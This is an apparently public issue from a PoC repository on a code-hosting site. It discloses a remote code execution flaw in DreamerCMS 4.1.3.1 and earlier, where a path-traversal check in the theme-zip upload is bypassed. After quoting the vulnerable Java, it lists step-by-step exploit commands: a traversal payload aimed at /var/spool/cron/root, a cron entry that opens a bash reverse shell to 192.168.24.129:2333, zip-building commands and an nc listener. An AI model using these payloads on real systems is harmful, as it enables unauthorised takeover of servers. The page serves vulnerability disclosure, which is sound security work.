1 Star 0 Fork 0

shadow7 / PocPublic

 / 详情

DreamerCMS <=4.1.3.1 RCE

待办的
拥有者
创建于  
2024-03-25 11:51

How did the problem arise?

(1)In the add() function of controller/admin/ThemesController.java, there is the following code snippet:

public String add(String themePath) throws IOException, CmsException {
		Theme theme;
		String rootPath = fileConfiguration.getResourceDir();
		System system = systemService.getSystem();
		String uploadDir = system.getUploaddir();
		
		String uploadpath = rootPath + "/" + uploadDir + "/" + themePath;
		File zipFile = new File(uploadpath);
		
		//解压zip
		String targetDir = rootPath + "templates/";
		theme = ZipUtils.unZipFiles(zipFile, targetDir);
		//省略其他代码
		}

(2)ZipUtils.unZipFiles(zipFile, targetDir) is used, and the method code is as follows:

	public static Theme unZipFiles(File zipFile, String descDir) throws IOException, AdminGeneralException {
		File pathFile = new File(descDir);
		if (!pathFile.exists()) {
			pathFile.mkdirs();
		}
		Theme theme = new Theme();
		// 解决zip文件中有中文目录或者中文文件
		ZipFile zip = new ZipFile(zipFile, Charset.forName("GBK"));
		for (Enumeration entries = zip.entries(); entries.hasMoreElements();) {
			ZipEntry entry = (ZipEntry) entries.nextElement();
			String entryName = entry.getName();
			System.out.println(entryName);
			
		    if(entryName.contains("../") || entryName.contains("..\\")) {
				throw new AdminGeneralException(
						ExceptionEnum.XSS_SQL_EXCEPTION.getCode(),
						ExceptionEnum.XSS_SQL_EXCEPTION.getMessage(),
						"压缩包中文件名疑似不安全,详情:" + entryName);
			}
			InputStream in = zip.getInputStream(entry);
			String outPath = (descDir + entryName).replaceAll("\\*", "/");
			// 判断路径是否存在,不存在则创建文件路径
			File file = new File(outPath.substring(0, outPath.lastIndexOf('/')));
			if(file.getParent().equals(pathFile.getAbsolutePath()) && file.isDirectory()) {
				theme.setThemePath(file.getAbsolutePath());
			}
			
			if (!file.exists()) {
				file.mkdirs();
			}
			// 判断文件全路径是否为文件夹,如果是上面已经上传,不需要解压
			if (new File(outPath).isDirectory()) {
				continue;
			}
			
			OutputStream out = new FileOutputStream(outPath);
			byte[] buf1 = new byte[1024];
			int len;
			while ((len = in.read(buf1)) > 0) {
				out.write(buf1, 0, len);
			}
			in.close();
			out.close();
		}
		zip.close();
		System.out.println("******************解压完毕******************");
		return theme;
	}
}

(3)In this function, the directory traversal character is detected, and then the file is unzipped, but the detection code can be bypassed by ".*.", and then passed through String outPath = (descDir + entryName).replaceAll("\*", "/"); substitution, resulting in a directory traverse, for example

payload:.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root ====>.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/spool/cron/root, therefore, creating an RCE vulnerability

Steps to reproduce

(1)演示环境
Operating system: CentOS7

Database: MySQL 5.7

DreamerCMS Version:4.1.3.1

(2)Function point navigation: Background management - > style settings - > upload theme package
输入图片说明

(3)Malicious zip file making
In a Linux environment

Create a file named xxxx*root and write the expression of the cron bounce shell
echo "*/1 * * * * bash -i >& /dev/tcp/192.168.24.129/2333 0>&1" > .\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root

Make a zip file
zip -r ./poc1.zip .\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*.\.\*var\*spool\*cron\*root

(4)Use server NC to listen on port 2333

nc -lvp 2333

(5)Get the bounce shell
输入图片说明

评论 (0)

shadow7 创建了任务
shadow7 修改了描述
shadow7 修改了描述
展开全部操作日志

登录 后才可以发表评论

状态
负责人
里程碑
Pull Requests
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
开始日期   -   截止日期
-
置顶选项
优先级
参与者(1)
PHP
1
https://gitee.com/y1336247431/poc-public.git
git@gitee.com:y1336247431/poc-public.git
y1336247431
poc-public
PocPublic

搜索帮助